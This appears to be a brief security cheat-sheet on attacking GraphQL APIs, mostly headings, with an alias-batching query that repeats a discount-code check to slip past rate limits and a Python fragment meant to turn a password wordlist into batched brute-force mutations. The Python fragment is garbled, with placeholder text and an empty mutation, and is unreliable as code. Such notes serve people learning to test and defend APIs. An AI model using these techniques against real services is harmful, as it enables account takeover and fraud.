GraphQL Attacks

Finding GraphQL Endpoints

Exploiting Unsanitized Arguments

Discovering Schema Information

Bypassing Introspection Defenses

Bypassing Rate Limiting

query isValidDiscount($code: Int) {
    isvalidDiscount(code:$code){
        valid
    }
    isValidDiscount2:isValidDiscount(code:$code){
        valid
    }
    isValidDiscount3:isValidDiscount(code:$code){
        valid
    }
}
import json
with open("wordlist.txt") as f:
    passwords = [line.strip() for line in f]
mutations = "\n".join(
    f'bruteforce{i}: [function](input: ) '
    for i, pw in enumerate(passwords)
)

graphql_query = {
    "query": f"mutation "
}

print(json.dumps(graphql_query, indent=2))

GraphQL CSRF